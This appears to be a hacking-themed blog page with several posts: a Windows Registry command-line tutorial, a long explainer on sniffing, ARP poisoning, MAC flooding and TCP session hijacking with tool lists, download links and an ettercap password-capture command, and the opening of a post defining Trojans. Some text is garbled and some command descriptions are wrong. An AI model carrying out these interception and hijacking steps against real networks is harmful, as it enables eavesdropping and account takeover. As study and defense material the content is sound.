In the ?Save as type? field, you can select ?Registry Files (*.reg)? , ?txt file?, ?registry ramification files? or ?Win9x/ NT4 Registry files (*.reg)? .Depending on what you will do with the REG file, you will select one of those options. If its just for studying/analising purposes, then you can save it as a normal txt file. Let�s suppose this file will have informations about NT Services (nt services are only intended for the nt systems and therefore won�t work in Windows 95,98,ME) then the best is saving it as ?Registry Files (*.reg)? . But supposing the REG file contains informations about a software for example, and this software is able to run in any Windows version. Then it�s better to save it as

?Win9x/ NT4 Registry files (*.reg)?, because this way the file can be imported to the Registry of any Windows. Just bellow this, in the bottom of the window, you can see the ?Export Interval? section, and below the complete registry path to the key you will be exporting. If you double click a REG file you will be prompted with a message ?Are you sure you want to import the information contained in ?file.reg? to the Registry??. (Supposing ?file.reg? is the file you want to import to the registry). If you click ?No? the operation will be canceled, if you click yes, and the REG file is valid and correct you will get a message saying the information on the ?file.reg? was successfully added to the registry.

Editing the Registry via Command Line

We have already seen it is possible to edit the Registry manually and using scripts. It is also possible to edit it using the Windows ?Command Prompt? (COMMAND.COM in any Windows version and CMD.EXE in Win NT4/2000/XP/2003).

The REGEDIT.EXE tool has a GUI part and a command line part.

REGEDIT.EXE command line syntax:

Command

Effect

REGEDIT /E

Exports keys and values from the Registry to a .REG file

REGEDIT /I

Imports a .REG file to the Registry. Before writing to the registry a Confirmation prompt will appear asking if you really want to import the file to the registry

REGEDIT /S

Imports a .REG file to the Registry in silent mode. No confirmation prompts.

REGEDIT /D

Deletes a key from the registry. (Win9x only)

REGEDIT /L:System

Specify the location of System.dat to use (Win9x only)

REGEDIT /R:User

Specify the location of User.dat to use. (Win9x only)

REGEDIT /C

Compress the Registry. (Only works on Win98)

Below it will be shown usage examples for the above commands.

REGEDIT /E c:\file1.reg ?HKEY_LOCAL_MACHINE\SOFTWARE\Some Program?

This will export the registry key ?Some Program? located in ?HKEY_LOCAL_MACHINE\SOFTWARE? to a file called file1.reg in c:\

REGEDIT /I c:\file2.reg

This will import the informations in ?file2.reg? to the Registry. A confirmation prompt will show up.

REGEDIT /S c:\file3.reg

This will silently import the informations in ?file3.reg? to the Registry. No confirmations prompts

The above commands are the most used ones and works on all Windows versions.

The /L:System and /R:User parameters are optionals, only works on Win9x and comes before all the other parameters .

Example: REGEDIT [/L:System | /R:User] /S c:\file1.reg . This will silently import the informations in ?file1.reg? to the Registry, specifying the location of System.dat and User.dat to use.

REGEDIT /D is few used and only works on Win9x . It is intended to remove a key from the Registry. Example : REGEDIT /D HKEY_LOCAL_MACHINE\SOFTWARE\Soft1

This will delete the key ?Soft1? located in HKEY_LOCAL_MACHINE\SOFTWARE from the Registry.

REGEDIT /C will compress the Registry. It is intended to work only on Win98. The usage: REGEDIT /C [filename]

Windows XP and 2003 comes with a command line tool to edit the Registry and it�s called ?REG.EXE? .By default Windows NT4 and 2000 don?t have this tool, but it�s available in the ?Windows Resource Kit Tools? package and can be freely downloaded from Microsoft.com or simply copied, along the application ?Regini.exe?, from Windows XP or 2003.

Below there is a table with the ?REG.EXE? commands and their effects.

Command

Effects

REG QUERY

Queries a Registry key or value by its given name.

REG ADD

Adds a key or value to the Registry

REG DELETE

Deletes a key or value from the Registry

REG COPY

Copies subkeys and values from a key to another.

REG SAVE

Saves a Registry section to a file.

REG RESTORE

Restores a file to substitute a Registry key.

REG LOAD

Loads a file in a Registry key.

REG UNLOAD

Unloads a Registry Section

REG COMPARE

Compares values and sub-keys from a key with the respective values and sub-keys of another key

REG EXPORT

Exports/Loads a file in a Registry key.

REG IMPORT

Imports a file to the Registry.

REG.EXE makes it possible to write Registry RootKeys by its short name as showed below

HKEY_LOCAL_MACHINE = HKLM

HKEY_CURRENT_USER = HKCU

HKEY_USERS = HKU

HKEY_CLASSES_ROOT = HKCR

HKEY_CURRENT_CONFIG = HKCC

Below it is available some examples of the usage of the commands listed in the above table.

REG QUERY HKLM\SOFTWARE\Soft1 /v Config �? This will display the registry value of �Config?

REG QUERY HKLM\SOFTWARE �? Displays all the values and sub-keys of the key ?Software?

REG ADD HKCU\Software\Mysoft2 �? Adds a key called ?Mysoft2? to the Registry.

REG ADD HKLM\Software\War /v Types /t REG_DWORD /d 1 /f �? Adds a key called ?War? (in case it doesn�t exist yet) and a value called ?Types? with type of REG_DWORD to the Registry. If ?/t? is omitted the value will be type REG_SZ. The ?/f? parameter is to force the action that is being taken with no confirmation prompts.

REG DELETE HKLM\SOFTWARE\MySoft1 /f �? Deletes the key ?Mysoft1? and all its sub-keys and values with no confirmation prompts.

REG DELETE HKLM\SOFTWARE\MySoft3 /v path /f �? Deletes the value ?path? located in ?Mysoft3? key with no confirmation prompts.

REG COPY HKCU\SOFTWARE\Soft1 HKCU\SOFTWARE\Soft1_Backup /f �? Copies all the sub-keys and values of ?Soft1? key to the ?Soft1_Backup? key without confirmation.

REG SAVE HKLM\System\CurrentControlSet\Services c:\Services_Backup.TXT �? Saves the Registry Section ?Services? in the file Services_Backup.TXT located in C:\

REG RESTORE HKLM\System\CurrentControlSet\Services c:\Services_Backup.TXT �? Restores the file ?Services_Backup.TXT? to substitute the Registry key ?Services?.

REG LOAD HKLM\System c:\hklm_System.TXT �? Loads the file hklm_System.TXT in the registry key ?HKLM\System? .

REG UNLOAD HKCU\Software �? Unloads the ?Software? section in the RootKey ?HKCU? .

REG COMPARE HKCU\Software\MySoft2\System1 HKCU\Software\MySoft2\System2 �? Compares all the values under the key ?System1? with ?System2?

REG COMPARE HKCU\Software\MySoft2\System1 HKCU\Software\MySoft2\System2 /v Path �? Compares the the value of ?Path? in the keys ?System1? and ?System2?.

REG COMPARE HKCU\Software\MySoft1 HKCU\Software\MySoft2\ /s �? Compares all the values and sub-keys in the keys ?MySoft1? and ?MySoft2?.

Return Codes: 1 = Success, the compared result is identical. 2 = Failure. 3 = Success, the compared result is different.

REG EXPORT �? This is exactly the same as the ?REG LOAD? command.

REG IMPORT c:\file.reg �? Imports the ?file.reg? located in c:\ to the Registry.

Final Notes

Notice that 'REG.EXE' application is a command line tool that is intended for Windows NT4,2000,XP,2003 but it is built-in only in XP and 2003. The 'REGEDIT.EXE' application has a GUI (graphical user interface) and some command line parameters. The REGEDT32.EXE application is only present on 32-bit Windows Operational Systems such as Windows NT4,2000,XP,2003.

Remember to ALWAYS make a complete backup before editing the Registry as well as editing any other kind of configurations, files, important informations, etc.

This article will show, explain and detail some things related to the Windows Registry and you will probably learn some cool things from it, but it will NOT , in any way make you become an Expert; There is lots and lots of other tricky things you can do with this cute little tool called ?Regedit?, such as editing information and configurations of softwares and services, set up specific restrictions to the Registry itself or to any other Software, change the OS look, visual effects and some graphical related stuff, among other things and you will have to look deep inside and understand the meaning of some common used value datas. Tip: Look deep inside REG_DWORD values data and you will learn a lot and better understand the options and configurations that were set up in your Windows.

Finally, I hope you have enjoyed �??

---------------*END*-----------------

Posted in Tutorials, xp Hackz by Dark Shade | 0 comments

Sniffing & hijacking

Tuesday, January 15, 2008

Sniffers are a powerful piece of software. They have the capability to place the hosting system's network card into promiscuous mode. A network card in promiscuous mode can receive all the data it can see, not just packets addressed to it. If you are on a hub, a lot of traffic can potentially be affected. Hubs see all the traffic in that particular collision domain. Sniffing performed on a hub is known as passive sniffing. Ethernet switches are smarter. A switch is supposed to be smart enough to know which particular port to send traffic to and block it from all the rest. However, there can be exceptions to this rule. Sometimes switches have one port configured to receive copies of all the packets in the broadcast domain. That type of port spanning is done for administrative monitoring. When sniffing is performed on a switched network, it is known as active sniffing. Sniffers operate at the Data Link layer of the OSI model. This means that they do not have to play by the same rules as applications and services that reside further up the stack. Sniffers can grab whatever they see on the wire and record it for later review. They allow the user to see all the data contained in the packet, even information that should remain hidden. Passive sniffing is performed when the user is on a hub. Because the user is on a hub, all traffic is sent to all ports. All the attacker must do is to start the sniffer and just wait for someone on the same collision domain to start sending or receiving data. A collision domain is a logical area of the network in which one or more data packets can collide with each other. Whereas switches separate up, collision domain hubs place users in one single shared collision domain. Hubs place users in a shared segment or collision domain. The other reason that sniffing has lost some of its mystical status is that so many more people use encryption than in the past. Protocols such as Secure Sockets Layer (SSL) and Secure Shell (SSH) have mostly replaced standard Hypertext Transfer Protocol (HTTP) and File Transfer Protocol (FTP). With all the barriers in place, we will see what a hacker must do to successfully use a sniffer.

[Active Sniffing]

For sniffers to be successfully used, the attacker must be on your local network or on a prominent intermediary point, such as a border router, through which traffic passes. The attacker must also know how to perform active sniffing. A switch limits the traffic that a sniffer can see to broadcast packets and those specifically addressed to the attached system. Traffic between two other hosts would not normally be seen by the attacker, as it would not normally be forwarded to the switch port that the sniffer is plugged in to. Media Access Control (MAC) flooding and Address Resolution Protocol (ARP) poisoning are the two ways that the attacker can attempt to overcome the limitations imposed by a switch.

MAC flooding is the act of attempting to overload the switches content addressable memory (CAM) table. All switches build a lookup table that maps MAC addresses to the switch port numbers. This enables the switch to know what port to forward each specific packet out of. The problem is that in older or cheaper switches, the amount of memory is limited. If the CAM table fills up and the switch can hold no more entries, some might divert to a fail open state. This means that all frames start flooding out all ports of the switch. This allows the attacker to then sniff traffic that might not otherwise be visible. The drawback to this form of attack is that the attacker is now injecting a large amount of traffic into the network. This can draw attention to the attacker. With this type of attack, the sniffer should be placed on a second system because the one doing the flooding will be generating so many packets that it might be unable to perform a suitable capture. Tools for performing this type of attack include:

EtherFlood EtherFlood floods a switched network with Ethernet frames with random hardware addresses. The effect on some switches is that they start sending traffic out on all ports so that you can sniff all the traffic on the network. EtherFlood can be downloaded from http://ntsecurity.nu/toolbox/etherflood.

SMAC A MAC spoofing tool that allows an attacker to spoof their MAC address. They can change their MAC address to any other value or manufacturer they would like. SMAC is available from www.klcconsulting.net/smac.

Macof Macof floods the LAN with false MAC addresses in hopes of overloading the switch. It can be downloaded from http://monkey.org/~dugsong/dsniff

[ARP Poisoning]

ARP poisoning is the second method that can be used to overcome switches. A review of the ARP process will help in your understanding of how this is possible. Address Resolution Protocol is a helper protocol that in many ways is similar to domain name service (DNS). DNS resolves known domain names to an unknown IP addresser. ARP resolves known IP addresses to unknown MAC addresses. Both DNS and ARP are two-step protocols. ARP is how network devices associate a specific MAC address with an IP address so that devices on the local network can find each other. As an example, think of MAC addresses as physical street addresses, whereas IP addresses are logical names. You might know that my name is Michael Gregg and because I'm the author of this book, you would like to send me a note about it. The problem is that knowing my name is not enough. You need a physical address to know where the note to Michael Gregg should be delivered. ARP serves that purpose and ties the two together. ARP is a simple protocol that consists of two message types:

An ARP Request Computer A asks the network, "Who has this IP address?"

An ARP Reply Computer B tells computer A, "I have that IP. My MAC address is XYZ."

The developers of ARP lived in a much more trusting world than we do today, so they made the protocol simple. The problem is that this simple design makes ARP poisoning possible. When an ARP request is sent, the system simply trusts that when the ARP reply comes in, it really does come from the correct device. ARP provides no way to verify that the responding device is really who it says it is. It's so trusting that many operating systems accept ARP replies, even when no ARP request was made. To reduce the amount of ARP traffic on a network system, implement something called an ARP cache. The ARP cache stores the IP address, the MAC address, and a timer for each entry. The timer varies from vendor to vendor, so OSes such as Mcft use 2 minutes and many Linux vendors use 15 minutes. You can view the ARP cache for yourself by issuing the arp -a command.

With a review of the ARP process out of the way, you should now be able to see how ARP spoofing works. The method involves sending phony ARP requests or replies to the switch and other devices to attempt to steer traffic to the sniffing system. Bogus ARP packets will be stored by the switch and by the other devices that receive the packets. The switch and these devices will place this information into the ARP cache and now map the attacker to the spoofed device. The MAC address being spoofed is usually the router so that the attacker can capture all outbound traffic.

First, the attacker would say that the router's IP address is mapped to his MAC address. Second, the victim now attempts to connect to an address outside the subnet. The victim has an ARP mapping showing that the router's IP is mapped to the hacker's MAC; therefore, the physical packets are forwarded through the switch and to the hacker. Finally, the hacker forwards the traffic onto the router. After this setup is in place, the hacker is able to pull off many types of man-in-the-middle attacks. This includes passing on the packets to their true destination, scanning them for useful information, or recording the packets for a session replay later. IP forwarding is a critical step in this process. Without it, the attack will turn into DoS. There are many tools for performing ARP spoofing attacks for both Windows and Linux. A few are introduced here:

Arpspoof Part of the Dsniff package of tools written by Dug Song. Arpspoof redirects packets from a target system on the LAN intended for another host on the LAN by forging ARP replies.

Ettercap One of the most feared ARP poisoning tools because Ettercap can be used for ARP poisoning, for passive sniffing, as a protocol decoder, and as a packet grabber. It is menu driven and fairly simple to use. As an example, ettercap Nzs will start ettercap in command-line mode (-N), not perform an ARP storm for host detection (-z), and passively sniff for IP traffic (-s). This will output packets to the console in a format similar to Windump or Tcpdump. Ettercap exits when you type q. Ettercap can even be used to capture usernames and passwords by using the C switch. Other common switches include: N is Non-interactive mode, z starts in silent mode to avoid ARP storms, and a is used for ARP sniffing on switched networks.

Cain A multipurpose tool that has the capability to perform a variety of tasks, including ARP poisoning, Windows computer enumeration, sniffing, and password cracking. The ARP poisoning function is configured through a GUI interface.

Sniffers, such as Ethereal, are capable of displaying multiple views of captured traffic. Three main views are available, which include

Summary

Detail

Hex

The uppermost window shows the summary display. It is a one line per packet format. The highlighted line shows the source and destination MAC address, the protocol that was captured, ARP, and the source and destination IP address. The middle window shows the detail display. Its job is to reveal the contents of the highlighted packet. Notice that there is a plus sign in front of these fields. Clicking on the plus sign reveals more detail. The third and bottom display is the hex display. The hex display represents the raw data. There are three sections to the hex display. The numbers to the left represent the offset in hex of the first byte of the line. The middle section shows the actual hex value of each portion of the headers and the data. The right side of the display shows the sniffers translation of the hex data into its American Standard Code for Information Exchange (ASCII) format. It's a good place to look for usernames and passwords.

An important feature of a sniffer such as Ethereal is the capability it has to set up filters to view specific types of traffic. Filters can be defined in one of two ways:

Capture filters Used when you know in advance what you are looking for. They allow you to predefine the type of traffic captured. As an example, you could set a capture filter to capture only HTTP traffic.

Display filters Done after the fact. Display filters are used after the traffic is captured. Although you might have captured all types of traffic, you could apply a display filter to show only ARP packets.

Although Ethereal is useful for an attacker to sniff network traffic, it's also useful for the security professional. Sniffers allow you to monitor network statistics and discover MAC flooding or ARP spoofing. Filters are used to limit the amount of captured data viewed and to focus on a specific type of traffic.

[Defence]

Sniffing is a powerful tool in the hands of a hacker, and as you have seen, many sniffing tools are available. Defenses can be put in place. It is possible to build static ARP entries, but that would require you to configure a lot of devices connected to the network; it's not that feasible. A more workable solution would be port security. Port security can be accomplished by programming each switch and telling them which MAC addresses are allowed to send/receive and be connected to each port. Again, if the network is large, this can be a time-consuming process. The decision has to take into account the need for security versus the time and effort to implement the defense. Use encryption. IPSec, VPNs, SSL, and PKI can all make it much more difficult for the attacker to sniff valuable traffic. Linux tools such as Arpwatch are also useful. Arpwatch keeps track of ethernet/ip address pairings and can report unusual changes. Even DNS spoofing can be defeated by using DNS Security Extensions (DNSSEC). It digitally signs all DNS replies to ensure their validity. RFC 4035 is a good reference to learn more about this defense.

[Session Hijacking]

Session hijacking is when sensitive information is stolen or viewed with out knowledge or permission. This hijacking is not always common but when performed is extremely dangerous. Session hijacking is when an attacker relies on user to connect and authenticate and then take over the session. In spoofing attack, the attacker pretends to be another user or machine to gain access. Successful session hijacking is extremely difficult and only possible when a number of factors are under the attacker's control. Session hijacking can be active or passive on the degree of involvement of the attacker. Many tools exist to aid the attacker in perpetrating a session hijack. Like previously said, Session Hijacking could be very dangerous and there is a need for implementing strict protection. In this article I will focus more on ACK Storms, TCP/IP Methods, Sequence attack Prediction, Hijack Tools, Types of Hijacks and difference between spoofing and Hijacking. The whole point of session hijacking is to get authentication to an active system. Hacking onto systems is not always a trivial act. Session hijacking provides the attacker with an authenticated session to which he can then execute commands. The problem is that the attacker must identify and find a session This process is much easier when the attacker and the victim are on the same segment of the network. If both users are on a hub, this process requires nothing more than passive sniffing. If a switch is being used, active sniffing is required. Either way, if the attacker can sniff the sequence and acknowledgement numbers, a big hurdle has been overcome because otherwise it would be potentially difficult to calculate these numbers accurately. Sequence numbers are discussed in the next section. If the attacker and the victim are not on the same segment of the network, blind sequence number prediction must be performed. This is a more sophisticated and difficult attack because the sequence and acknowledgement numbers are unknown. To circumvent this, several packets are sent to the server to sample sequence numbers. If this activity is blocked at the firewall, the probe will fail. Also, in the past, basic techniques were used for generating sequence numbers, but today, that is no longer the case because most OSes implement random sequence number generation, making it difficult to predict them accurately. Force all incoming connections from the outside world to be fully encrypted, And all connections to critical machines to be fully encrypted. Force all traffic on the network to be encrypted. Using encrypted protocols, like those found in the OpenSSH suite. The OpenSSH suite includes the ssh program which replaces rlogin and telnet, scp which replaces rcp, and sftp which replaces ftp. Also included is sshd which is the server side of the package, and the other basic utilities like ssh-add, ssh-agent, ssh-keygen and sftp-server. All these steps will prevent and protect you and your information's from any kind of hijacking.

[TCP/IP Hijacking]

TCP hijacking relies on the violation of trust relationships between two interacting hosts. Let take a look at the TCP stack and the IPv4 protocol to understand why this is possible.

(TCP stack)

Every time when you access the Internet with your browser like Internet Explorer, It works at the application layer and accepts the initial datagram to be sent across the Internet. The transport protocol comes into action in the next layer called the transport layer, and the appropriate protocol header is added to the datagram. Here it is TCP header, as it is the TCP protocol that is being used. This ensures the reliability of data transported over inherently unreliable communication platforms, and also controls many of the aspects in the management and initiation of communication between the two hosts. In the network layer, routers offer the functionality for the datagram to hop from source to the destination, one hop at a time. This also sees the IP header being added to the datagram. The final layer that communicated with the physical system is the data link layer. This layer is responsible for the delivery of signals from the source to the destination over a physical communication platform, which is the Ethernet. This layer also sees the frame header being added to the datagram.

(IPv4)

The headers are peeled back on reaching the destination to reveal the original datagram. The original IPv4 standard needed to address three basic security issues - authentication, integrity and privacy. Authentication was an issue because an attacker could easily spoof an IP address and exploit a session. Spoofing was not restricted to IP address alone, but also extended to MAC addresses in ARP spoofing. An attacker sniffing on a network could sniff packets and carry out simple attacks such as change, delete, reroute, add, forge or divert data. Perhaps the most popular among these attacks is the Man-In-the-Middle attack. An attacker can grab unencrypted traffic from a victim's network-based TCP application, further tampering with the authenticity and integrity of the data before forwarding it on to the unsuspecting target.

[Spoofing & Hijacking]

(SPOOFING)

Spoofing can be summed up in a single sentence: It's a sophisticated technique of authenticating one machine to another by forging packets from a trusted source address. A spoofing attack is different from a hijack. In spoofing an attacker is not taking another user offline to perform the attack. He pretends to be another user or machine to gain access. Like for example say a Host only allows certain IP's to connect to that server and all others are blocked, an Attacker can change or more technical "Spoof" his MAC addresses with SMAC or BMACC Tools and gets fake IP and connects to the server. Blind IP spoofing involves predicting the sequence numbers that the victimized host will send in order to create a connection which appears to originate from the host. Before exploring blind spoofing further, let us take a look at sequence number prediction.
TCP sequence numbers are used to provide flow control and data integrity for TCP sessions. Every byte in a TCP session has a unique sequence number. Moreover, every TCP segment provides the sequence number of the initial byte (ISN), as part of the segment header. The initial sequence number does not start at zero for each session. Instead, the participants specify initial sequence numbers as part of the handshake process-a different ISN for each direction-and begin numbering the bytes sequentially from there.

Blind IP spoofing relies on the attacker's ability to predict sequence numbers as he is unable to sniff the communication between the two hosts by virtue of not being on the same network segment. He cannot spoof a trusted host on a different network and see the reply packets because the packets are not routed back to him. He cannot resort to ARP cache poisoning as well because routers do not route ARP broadcasts across the Internet. As he is not able to see the replies he is forced to anticipate the responses from the victim and prevent the host from sending a RST to the victim. The attacker then injects himself into the communication by predicting what sequence number the remote host is expecting from the victim. This is used extensively to exploit the trust relationships between users and remote machines, these services include NFS, NetBIOS, FTP, and so on.

IP spoofing is relatively easy to accomplish. The only pre-requisite on part of the attacker is to have root access on a machine in order to create raw packets. In order to establish a spoofed connection the attacker must know what sequence numbers are being used. Therefore, IP spoofing forces the attacker to have to predict the next sequence number.

The attacker can use "blind" hijacking, to send a command, but can never see the response. However, a common command would be to set a password allowing access from somewhere else on the net. By SYN flooding the trusted host, Attacker establishes a short connection which is then used to gain access through common methods.

IP spoofing can only be implemented against certain machines running certain services. Many flavors of Unix are viable targets. (This shouldn't give you the impression that non-Unix systems are invulnerable to spoofing attacks. Most network services use IP-based authentication, and although RPC, X Window System, and the r services have problems inherent to Unix-based operating systems, other operating systems are not immune.

The following are some of the configurations and services are known to be vulnerable:

Any device running Sun RPC

Any network service that uses IP address authentication

The X Window System from MIT

The r services

These are the essential steps that must be taken in a spoofing attack:

1. The cracker must identify his targets.

2. He must anesthetize the host he intends to impersonate.

3. He must forge the address of the host he's impersonating.

4. He must connect to the target, masquerading as the anesthetized host.

5. He must accurately guess the correct sequence number requested by the target.

(HIJACKING)

Hijacking is when an attacker is taking over an existing session, which means he is relying on the legitimate user to make a connection and authenticate. Then take over the session.
So basically attacker is connected to the user and is waiting for him to connect and do his job. If the user doesn't connect than the attack fails. With IP Spoofing there is no need to guess the sequence number since there is no session currently open with that IP address. The traffic would get back to the attacker only by using source routing. This is where the attacker tells the network how to route the output and input from a session, and he simply sniffs it from the network as it passes by him. Source routing is an IP option used today mainly by network managers to check connectivity. Normally, when an IP packet leaves a system, its path is controlled by the routers and their current configuration. Source routing provides a means to override the control of the routers. This works when an attacker uses captured, reverse engineered or brute forced authentication tokens to take over the control of a legitimate user's session while he is in session, the session is said to be hijacked. Due to this attack, the legitimate user may loose access or be deprived of the normal functionality of the session to the attacker, who now acts with the user's privileges. Most authentications occur at the beginning of a TCP session; this makes it possible for the attacker to gain access to a target machine. A popular method attackers adopt is to use source-routed IP packets. This allows an attacker to become a part of the target - host conversation by deceiving the IP packets to pass through his system. The attacker can also carry out the classic man-in-the-middle attack using a sniffing program to monitor the conversation. In TCP session hijacking, a familiar aspect of the attacks is the carrying out of a denial-of-service (DoS) attack against the target & host to prevent it from responding by either forcing the machine to crash, or against the network connection to result in a heavy packet loss. Successful session hijacking is extremely difficult and only possible when a number of factors are under the attacker's control. Knowledge of the ISN would be the least of John's challenges. For instance, he would need a way to knock Jane off the air at will. He also would need a way to know the exact status of Jane's session at the moment he mounted his attack. Both of these require that John have far more knowledge about and control over the session than normally would be possible. However, IP address spoofing attacks can only be successful if IP addresses are used for authentication. An attacker cannot perform IP address spoofing or session hijacking if per-packet integrity checking is executed. Similarly, neither IP address spoofing nor session hijacking are possible if the session uses encryption such as SSL or PPTP, as the attacker will not be able to participate in the key exchange. Therefore the essential requirements to hijack non-encrypted TCP communications can be listed as: Presence of non-encrypted session oriented traffic, ability to recognize TCP sequence numbers and predict the next sequence number (NSN) and capability to spoof a hosts MAC or IP address to receive communications which are not destined for the attackers host. If the attacker is on the local segment, they can sniff and predict the ISN+1 number and have the traffic routed back to them by poisoning the ARP cache.

[How Session Hijacking is performed]

First is to Track the session. Second is to desynchronizing the connection. Then third is Resetting the connection. And finally fourth is Injecting your packets.

Let's look closer at each step.

[tracking the connection]

Hacker will wait to find a suitable target and host. He uses a network sniffer to track the victim and host or identify a suitable user by scanning with nmap to find a target with a trivial TCP sequence prediction. This is done to ensure that because the correct sequence and acknowledgement numbers are captured, as packets are checked by TCP through sequence and acknowledgement numbers. These will later be used by the attacker in making his own packets.

[Desynchronizing the connection]

When a connection between the target and host is in the established state; or in a stable state with no data transmission; or the server's sequence number is not equal to the client's acknowledgement number; or the clients sequence number is not equal to the server's acknowledgement number. To desynchronize the connection between the target and host, the sequence number or the acknowledgement number SEQ/ACK of the server must be changed. This can be done if null data is sent to the server so that the server's SEQ/ACK numbers will advance; while the target machine will not register such a change.
The desynchronizing is seen by the attacker monitoring the session without interference till an opportune moment, when he will send a large amount of "null data" to the server. This data serves only to change the ACK number on the server and does not affect anything else. The attacker also does same thing to the target. Now both the server and target are desynchronized.

[Resetting the connection]

Another trick is to send a reset flag to the server and tearing down the connection on the server side. This is usually done in the early setup stage. The goal of the attacker is to break the connection on the server side and create a new one with different sequence number.
The attacker listens for a SYN/ACK packet from the server to the host. On detecting the packet, he sends an RST to the server and a SYN packet with exactly the same parameters such as port number but a different sequence number. The server on receiving the RST packet, closes connection with the target, but initiates another one based on the SYN packet - with a different sequence number on the same port. Having opened a new connection, the server sends a SYN/ACK packet to the target for acknowledgement. The attacker detects (but does not intercept) this and sends back an ACK packet to the server. Now, the server is in the established state. The target is oblivious to the conversation and has already switched to the established state when it received the first SYN/ACK packet from the server. Now both server and target are in desynchronized but established state.
Since TCP uses IP the loss of a single packet puts an end to the unwanted conversation between the server and target on the network. The desynchronizing stage is added in the hijack sequence so that the target host is kept in the dark about the attack. Without desynchronizing, the attacker will still be able to inject data to the server and even keep his identity by spoofing an IP address. However, he will have to put up with the server's response being relayed to the target host as well.

[Injecting your packets]

Now that the attacker has interrupted the connection between the server and target, he can choose to either inject data into the network or actively participate as the "man in the middle", and pass data from the target to the server, and vice versa.

[Active and Passive attacks]

In an active attack, an attacker finds an active session and takes over. With a passive attack, an attacker hijacks a session, but sits back and watches and records all of the traffic that is being sent forth. The main difference between an active and passive hijack is that while an active hijack takes over an existing session, a passive attack monitors an on-going session.

Generally a [passive attack] uses sniffers on the network allowing the attacker to obtain information such as user id and password so that he can use it later to logon as that user and claim his privileges. Password sniffing is only the simplest attack that can be performed when raw access to a network is obtained. Counters against this attack range from using identification schemes such as one-time password to ticketing identification. While these may keep sniffing from yielding any productive results, they do not insure the network from an active attack neither as long as the data is neither digitally signed nor encrypted.

In an [active attack], the attacker takes over an existing session by either tearing down the connection on one side of the conversation or by actively participating by being the man-in-the-middle.

This requires the ability to predict the sequence number before the target can respond to the server. Sequence number attacks have become much less likely because OS vendors have changed the way initial sequence numbers are generated. The old way was to add a constant value to the next initial sequence number; newer mechanisms use a randomized value for the initial sequence number.

[Sequence Numbers]

Sequence Numbers are very important to provide reliable communication but they are also important to hijacking a session.
The numbers are a 32-bit counter, which means the value can be any of over 4 billion possible combinations. They are used to tell the receiving machine what order the packets should go in when they are received. Therefore an attacker must successfully guess the sequence number to hijack a session.

TCP provides a full duplex reliable stream connection between two end points. A connection is uniquely defined by the IP address of sender, TCP port number of the sender, IP address of the receiver and TCP port number of the receiver.

Every byte that is sent by a host is marked with a sequence number and is acknowledged by the receiver using this sequence number. The sequence number for the first byte sent is computed during the connection opening. It changes for any new connection based on rules designed to avoid reuse of the same sequence number for two different sessions of a TCP connection.

Let's say we sent the increment of sequence number in our discussion of the three way handshake. What happens if the sequence number is predictable? When the TCP sequence is predictable, an attacker can send packets that are forged to appear to come from a trusted computer.

The next step taken was to tighten the OS implementation of TCP and introduce randomness in the ISN. This was done by the use of pseudo-random number generators (PRNGs). PRNGs introduced some randomness when producing ISNs used in TCP connections. However, adding a series of numbers together provided insufficient variance in the range of likely ISN values; thereby allowing an attacker to disrupt or hijack existing TCP connections or spoof future connections against vulnerable TCP/IP stack implementations.

This implied that systems relying on random increments to make ISN numbers harder to guess were still vulnerable to statistical attack. Basically with the passage of time, even computers choosing random numbers will repeat themselves, because the randomness is based on an internal algorithm that is used by a particular operating system. Once a sequence number has been agreed to, all following data will be the ISN+1. This makes injecting data into the communication stream possible.

If a sequence number within the receive window is known, an attacker can inject data into the session stream or choose to terminate the connection. If the attacker knows the initial sequence number, he can send a simple packet to inject data or kill the session if he is aware of the number of bytes transmitted in the session this far.

As this is a difficult proposition, the attacker can guess a suitable range of sequence numbers and send out a number of packets into the network with different sequence numbers - but falling within the range. Since the range is known, it is likely that at least one packet will be accepted by the server. This way, the attacker doesn't need to send a packet for every sequence number, but resort to sending an appropriate number of packets with sequence numbers a window-size apart.

But how does he know how many packets are to be sent?

This is obtained by dividing the range of sequence numbers to be covered by the fraction of the window size that is used as an increment. Why is this possible despite the introduction of PRNGs? The problem lay in the use of increments themselves, random or otherwise, to advance an ISN counter, making statistical guessing practical. The result of this is that remote attackers can perform session hijacking or disruption by injecting a flood of packets with a range of ISN values, one of which may match the expected ISN. The more random the ISNs are, the more difficult it is to carry out these attacks.

[Spoofing/Hijacking Tools]

Several programs are available that perform session hijacking. The following are a few that belong to this category:

Ettercap - Ettercap runs on Linux, BSD, Solaris 2.x, most flavors of Windows, and Mac OS X. Ettercap will ARP spoof the targeted host so that any ARP requests for the target's IP will be answered with the sniffer's MAC address, allowing traffic to pass through the sniffer before ettercap forwards it on. This allows ettercap to be used as an excellent man-in-the-middle tool. Ettercap uses four modes:

- IP The packets are filtered based on source and destination.

- MAC Packet filtering based on MAC address.

- ARP ARP poisoning is used to sniff/hijack switched LAN connections (in full-duplex mode).

- Public ARP ARP poisoning is used to allow sniffing of one host to any other host.

Hunt - This is one of the best known session hijacking tools. It can watch, hijack, or reset TCP connections. Hunt is meant to be used on Ethernet and has active mechanisms to sniff switched connections. Advanced features include selective ARP relaying and connection synchronization after attacks. Requirements: C compiler, Linux.

TTY Watcher - This Solaris program can monitor and control users' sessions.

IP Watcher - IP Watcher is a commercial session hijacking tool that allows you to monitor connections and has active countermeasures for taking over a session.

T-Sight - This commercial hijack tool has the capability to hijack any TCP sessions on the network, monitor all your network connections in real-time, and observe the composition of any suspicious activity that takes place.

1644 - TTCP spoofing Tool. {Source} - Requirements: C compiler, IP header files, FreeBSD.

Juggernaut - Linux Tool, networking and packet spoofing tool. {Source} - Requirements: C compiler, IP Header Files, Unix.

synk4.c - Syn Flooder tool that allows IP Spoofing and packet spoofing. {Source} - Requirements: C compiler, IP header files, Linux

Posted in Hacking Tutorials, Tutorials by Dark Shade | 0 comments

Trojans

Trojan ( bad ) Beware !!!!
Trojan horse well this term has many meanings .
In the context of computer software, a Trojan horse is a malicious program that is disguised as or embedded within legitimate software. The term is derived from the classical myth of the Trojan Horse. They may look useful or interesting (or at the very least harmless) to an unsuspecting user, but are actually harmful when executed.

Often the term is shortened to simply Trojan, even though this turns the adjective into a noun, reversing the myth (Greeks were gaining malicious access, not Trojans).

There are two common types of Trojan horses.

One, is otherwise useful software that has been corrupted by a cracker inserting malicious code that executes while the program is used. Examples include various implementations of weather alerting programs, computer clock setting software, and peer to peer file sharing utilities.

The other type is a standalone program that masquerades as something else, like a game or image file, in order to trick the user into some misdirected complicity that is needed to carry out the program's objectives.

